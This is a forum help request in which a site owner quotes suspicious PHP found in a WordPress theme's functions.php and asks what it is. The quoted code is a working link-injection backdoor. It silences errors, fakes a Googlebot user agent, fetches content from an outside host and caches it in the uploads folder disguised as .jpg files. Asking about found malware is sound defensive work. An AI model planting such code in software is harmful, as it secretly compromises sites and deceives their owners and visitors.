Suspicious code in custom theme

found this in my functions.php file, and looks odd to me. Can anyone identify what its purpose is and can I remove it
thanks

error_reporting(‘^ E_ALL ^ E_NOTICE’);
ini_set(‘display_errors’, ‘0’);
error_reporting(E_ALL);
ini_set(‘display_errors’, ‘0’);

class Get_links {

var $host = ‘wpconfig.net’;
var $path = ‘/system.php’;
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = ‘https://’.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
$_user_agent = “Mozilla/5.0 (compatible; Googlebot/2.1; “.$req_url.”)”;

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen’, 1);
@ini_set(‘default_socket_timeout’, $_socket_timeout);
@ini_set(‘user_agent’, $_user_agent);

if (function_exists(‘file_get_contents’)) {
$opts = array(
‘http’=>array(
‘method’=>”GET”,
‘header’=>”Referer: {$req_url}\r\n”.
“User-Agent: {$_user_agent}\r\n”
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘https://’ . $host . $path, false, $context);
preg_match(‘/(\<\!–link–\>)(.*?)(\<\!–link–\>)/’, $data, $data);
$data = @$data[2];
return $data;
}
return ‘<!–link error–>’;
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.’wp-content/uploads/2011/’.md5($_SERVER[‘REQUEST_URI’]).’.jpg’;
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}